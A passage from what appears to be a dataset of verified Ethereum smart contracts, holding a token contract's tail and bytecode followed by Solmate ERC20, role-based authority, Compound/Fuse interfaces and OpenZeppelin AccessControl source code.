_value); } function burn(uint256 _value) external returns (bool) { require(balances[msg.sender] >= _value, "Insufficient fund"); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Transfer(msg.sender, address(0), _value); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063aa271e1a11610066578063aa271e1a1461032c578063d73dd6231461035f578063dd62ed3e14610398578063fca3b5aa146103d3576100f5565b8063661884631461027f57806370a08231146102b857806395d89b41146102eb578063a9059cbb146102f3576100f5565b806323b872dd116100d357806323b872dd146101de578063313ce5671461022157806340c10f191461022957806342966c6814610262576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101c4575b600080fd5b610102610408565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b06004803603604081101561018d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610441565b604080519115158252519081900360200190f35b6101cc6104b4565b60408051918252519081900360200190f35b6101b0600480360360608110156101f457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356104ba565b6101cc61067a565b6101b06004803603604081101561023f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561067f565b6101b06004803603602081101561027857600080fd5b5035610799565b6101b06004803603604081101561029557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561088e565b6101cc600480360360208110156102ce57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109ac565b6101026109d4565b6101b06004803603604081101561030957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a0d565b6101b06004803603602081101561034257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610bcd565b6101b06004803603604081101561037557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610bf3565b6101cc600480360360408110156103ae57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610ca0565b610406600480360360208110156103e957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610cd8565b005b6040518060400160405280600a81526020017f4e6f646f6b61204554480000000000000000000000000000000000000000000081525081565b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015481565b600073ffffffffffffffffffffffffffffffffffffffff83166104dc57600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526002602052604090205482111561050e57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8416600090815260036020908152604080832033845290915290205482111561054b57600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526002602052604090205461057b9083610da7565b73ffffffffffffffffffffffffffffffffffffffff80861660009081526002602052604080822093909355908516815220546105b79083610db9565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526002602090815260408083209490945591871681526003825282812033825290915220546106029083610da7565b73ffffffffffffffffffffffffffffffffffffffff808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b600061068a33610bcd565b6106df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180610dd06032913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602052604090205461070f9083610db9565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600260205260409020556001546107429083610db9565b60015560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a392915050565b3360009081526002602052604081205482111561081757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f496e73756666696369656e742066756e64000000000000000000000000000000604482015290519081900360640190fd5b336000908152600260205260409020546108319083610da7565b3360009081526002602052604090205560015461084e9083610da7565b60015560408051838152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3919050565b33600090815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054808311156108fd5733600090815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff88168452909152812055610939565b6109078184610da7565b33600090815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff891684529091529020555b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b6040518060400160405280600481526020017f4e4554480000000000000000000000000000000000000000000000000000000081525081565b600073ffffffffffffffffffffffffffffffffffffffff8316610a9157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43616e6e6f742073656e6420746f207a65726f20616464726573730000000000604482015290519081900360640190fd5b33600090815260026020526040902054821115610b0f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f496e73756666696369656e742066756e64000000000000000000000000000000604482015290519081900360640190fd5b33600090815260026020526040902054610b299083610da7565b336000908152600260205260408082209290925573ffffffffffffffffffffffffffffffffffffffff851681522054610b629083610db9565b73ffffffffffffffffffffffffffffffffffffffff84166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054610100900473ffffffffffffffffffffffffffffffffffffffff90811691161490565b33600090815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054610c2e9083610db9565b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b610ce133610bcd565b610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180610dd06032913960400191505060405180910390fd5b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0073ffffffffffffffffffffffffffffffffffffffff909316610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff90911617919091166001179055565b600082821115610db357fe5b50900390565b600082820183811015610dc857fe5b939250505056fe4d696e7461626c653a206d73672e73656e64657220646f6573206e6f74206861766520746865204d696e74657220726f6c65a2646970667358221220da97580101a27e26ae774e3090cefc7f467b58170be3b2b05d1e401c21a38e7464736f6c634300060c0033
[ 38 ]
0xf2e513d3b4171bb115cb9ffc45555217fbbbd00c
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.10; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } /// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) abstract contract Auth { event OwnerUpdated(address indexed user, address indexed newOwner); event AuthorityUpdated(address indexed user, Authority indexed newAuthority); address public owner; Authority public authority; constructor(address _owner, Authority _authority) { owner = _owner; authority = _authority; emit OwnerUpdated(msg.sender, _owner); emit AuthorityUpdated(msg.sender, _authority); } modifier requiresAuth() { require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED"); _; } function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) { Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas. // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be // aware that this makes protected functions uncallable even to the owner if the authority is out of order. return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner; } function setAuthority(Authority newAuthority) public virtual { // We check if the caller is the owner first because we want to ensure they can // always swap out the authority even if it's reverting or using up a lot of gas. require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig)); authority = newAuthority; emit AuthorityUpdated(msg.sender, newAuthority); } function setOwner(address newOwner) public virtual requiresAuth { owner = newOwner; emit OwnerUpdated(msg.sender, newOwner); } } /// @notice A generic interface for a contract which provides authorization data to an Auth instance. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) interface Authority { function canCall( address user, address target, bytes4 functionSig ) external view returns (bool); } /// @notice Flexible and target agnostic role based Authority that supports up to 256 roles. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol) contract MultiRolesAuthority is Auth, Authority { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled); event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled); event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled); event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority); /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(address _owner, Authority _authority) Auth(_owner, _authority) {} /*/////////////////////////////////////////////////////////////// CUSTOM TARGET AUTHORITY STORAGE //////////////////////////////////////////////////////////////*/ mapping(address => Authority) public getTargetCustomAuthority; /*/////////////////////////////////////////////////////////////// ROLE/USER STORAGE //////////////////////////////////////////////////////////////*/ mapping(address => bytes32) public getUserRoles; mapping(bytes4 => bool) public isCapabilityPublic; mapping(bytes4 => bytes32) public getRolesWithCapability; function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) { return (uint256(getUserRoles[user]) >> role) & 1 != 0; } function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) { return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0; } /*/////////////////////////////////////////////////////////////// AUTHORIZATION LOGIC //////////////////////////////////////////////////////////////*/ function canCall( address user, address target, bytes4 functionSig ) public view virtual override returns (bool) { Authority customAuthority = getTargetCustomAuthority[target]; if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig); return isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig]; } /*/////////////////////////////////////////////////////////////// CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC //////////////////////////////////////////////////////////////*/ function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth { getTargetCustomAuthority[target] = customAuthority; emit TargetCustomAuthorityUpdated(target, customAuthority); } /*/////////////////////////////////////////////////////////////// PUBLIC CAPABILITY CONFIGURATION LOGIC //////////////////////////////////////////////////////////////*/ function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth { isCapabilityPublic[functionSig] = enabled; emit PublicCapabilityUpdated(functionSig, enabled); } /*/////////////////////////////////////////////////////////////// USER ROLE ASSIGNMENT LOGIC //////////////////////////////////////////////////////////////*/ function setUserRole( address user, uint8 role, bool enabled ) public virtual requiresAuth { if (enabled) { getUserRoles[user] |= bytes32(1 << role); } else { getUserRoles[user] &= ~bytes32(1 << role); } emit UserRoleUpdated(user, role, enabled); } /*/////////////////////////////////////////////////////////////// ROLE CAPABILITY CONFIGURATION LOGIC //////////////////////////////////////////////////////////////*/ function setRoleCapability( uint8 role, bytes4 functionSig, bool enabled ) public virtual requiresAuth { if (enabled) { getRolesWithCapability[functionSig] |= bytes32(1 << role); } else { getRolesWithCapability[functionSig] &= ~bytes32(1 << role); } emit RoleCapabilityUpdated(role, functionSig, enabled); } } /// @title CERC20 /// @author Compound Labs and Rari Capital /// @notice Minimal Compound/Fuse Comptroller interface. abstract contract CERC20 is ERC20 { /// @notice Deposit an amount of underlying tokens to the CERC20. /// @param underlyingAmount Amount of underlying tokens to deposit. /// @return An error code or zero if there was no error in the deposit. function mint(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Borrow an amount of underlying tokens from the CERC20. /// @param underlyingAmount Amount of underlying tokens to borrow. /// @return An error code or zero if there was no error in the borrow. function borrow(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Repay an amount of underlying tokens to the CERC20. /// @param underlyingAmount Amount of underlying tokens to repay. /// @return An error code or zero if there was no error in the repay. function repayBorrow(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Returns the underlying balance of a specific user. /// @param user The user who's balance the CERC20 will retrieve. /// @return The amount of underlying tokens the user is entitled to. function balanceOfUnderlying(address user) external view virtual returns (uint256); /// @notice Returns the amount of underlying tokens a cToken redeemable for. /// @return The amount of underlying tokens a cToken is redeemable for. function exchangeRateStored() external view virtual returns (uint256); /// @notice Withdraw a specific amount of underlying tokens from the CERC20. /// @param underlyingAmount Amount of underlying tokens to withdraw. /// @return An error code or zero if there was no error in the withdraw. function redeemUnderlying(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Return teh current borrow balance of a user in the CERC20. /// @param user The user to get the borrow balance for. /// @return The current borrow balance of the user. function borrowBalanceCurrent(address user) external virtual returns (uint256); /// @notice Repay a user's borrow on their behalf. /// @param user The user who's borrow to repay. /// @param underlyingAmount The amount of debt to repay. /// @return An error code or zero if there was no error in the repayBorrowBehalf. function repayBorrowBehalf(address user, uint256 underlyingAmount) external virtual returns (uint256); } /// @notice Price Feed /// @author Compound Labs /// @notice Minimal cToken price feed interface. interface PriceFeed { /// @notice Get the underlying price of the cToken's asset. /// @param cToken The cToken to get the underlying price of. /// @return The underlying asset price scaled by 1e18. function getUnderlyingPrice(CERC20 cToken) external view returns (uint256); function add(address[] calldata underlyings, address[] calldata _oracles) external; function changeAdmin(address newAdmin) external; } /// @title Comptroller /// @author Compound Labs and Rari Capital /// @notice Minimal Compound/Fuse Comptroller interface. interface Comptroller { /// @notice Retrieves the admin of the Comptroller. /// @return The current administrator of the Comptroller. function admin() external view returns (address); /// @notice Retrieves the price feed of the Comptroller. /// @return The current price feed of the Comptroller. function oracle() external view returns (PriceFeed); /// @notice Maps underlying tokens to their equivalent cTokens in a pool. /// @param token The underlying token to find the equivalent cToken for. /// @return The equivalent cToken for the given underlying token. function cTokensByUnderlying(ERC20 token) external view returns (CERC20); /// @notice Get's data about a cToken. /// @param cToken The cToken to get data about. /// @return isListed Whether the cToken is listed in the Comptroller. /// @return collateralFactor The collateral factor of the cToken. function markets(CERC20 cToken) external view returns (bool isListed, uint256 collateralFactor); /// @notice Enters into a list of cToken markets, enabling them as collateral. /// @param cTokens The list of cTokens to enter into, enabling them as collateral. /// @return A list of error codes, or 0 if there were no failures in entering the cTokens. function enterMarkets(CERC20[] calldata cTokens) external returns (uint256[] memory); function _setPendingAdmin(address newPendingAdmin) external returns (uint256); function _setBorrowCapGuardian(address newBorrowCapGuardian) external; function _setMarketSupplyCaps( CERC20[] calldata cTokens, uint256[] calldata newSupplyCaps ) external; function _setMarketBorrowCaps( CERC20[] calldata cTokens, uint256[] calldata newBorrowCaps ) external; function _setPauseGuardian(address newPauseGuardian) external returns (uint256); function _setMintPaused(CERC20 cToken, bool state) external returns (bool); function _setBorrowPaused(CERC20 cToken, bool borrowPaused) external returns (bool); function _setTransferPaused(bool state) external returns (bool); function _setSeizePaused(bool state) external returns (bool); function _setPriceOracle(address newOracle) external returns (uint256); function _setCloseFactor(uint256 newCloseFactorMantissa) external returns (uint256); function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external returns (uint256); function _setCollateralFactor( CERC20 cToken, uint256 newCollateralFactorMantissa ) external returns (uint256); function _acceptAdmin() external virtual returns (uint256); function _deployMarket( bool isCEther, bytes calldata constructionData, uint256 collateralFactorMantissa ) external returns (uint256); function borrowGuardianPaused(address cToken) external view returns (bool); function comptrollerImplementation() external view returns (address); function rewardsDistributors(uint256 index) external view returns (address); function _addRewardsDistributor(address distributor) external returns (uint256); function _setWhitelistEnforcement(bool enforce) external returns (uint256); function _setWhitelistStatuses( address[] calldata suppliers, bool[] calldata statuses ) external returns (uint256); function _unsupportMarket(CERC20 cToken) external returns (uint256); function _toggleAutoImplementations(bool enabled) external returns (uint256); } // OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol) // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `_msgSender()` is missing `role`. * Overriding this function changes the behavior of the {onlyRole} modifier. * * Format of the revert message is described in {_checkRole}. * * _Available since v4.6._ */ function _checkRole(bytes32 role) internal view virtual { _checkRole(role, _msgSender()); } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit 